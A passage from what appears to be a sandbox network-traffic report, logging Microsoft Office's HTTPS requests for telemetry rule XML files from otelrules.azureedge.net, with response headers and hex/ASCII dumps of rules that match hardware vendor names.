T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-16849878b78wv88bk51myq5vxc00000004y000000000ameg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:07 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071807Z-16849878b782d4lwcu6h6gmxnw000000049g00000000dkcp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:08 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071808Z-16849878b7828dsgct3vrzta70000000030g00000000e3vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:08 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071808Z-15b8d89586fnsf5zd126eyaetw00000005tg000000008v8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:08 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071808Z-16849878b78fhxrnedubv5byks00000002y000000000esx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071808Z-16849878b78j5kdg3dndgqw0vg00000006e0000000005x0g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:08 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:08 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071808Z-16849878b78j5kdg3dndgqw0vg00000006f000000000361q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:08 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:09 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:09 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 66384a0c-801e-002a-112b-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071809Z-15b8d89586fvk4kmbg8pf84y8800000005g0000000009zke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:09 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:09 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071809Z-r197bdfb6b4wmcgqdschtyp7yg00000004ng0000000022bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:09 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071809Z-16849878b787wpl5wqkt5731b400000005d000000000brzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:09 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: fb99dfde-101e-0065-28dd-264088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071809Z-17c5cb586f6lxnvg801rcb3n8n00000004d0000000006t44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:09 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071809Z-16849878b78km6fmmkbenhx76n0000000420000000006xq3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
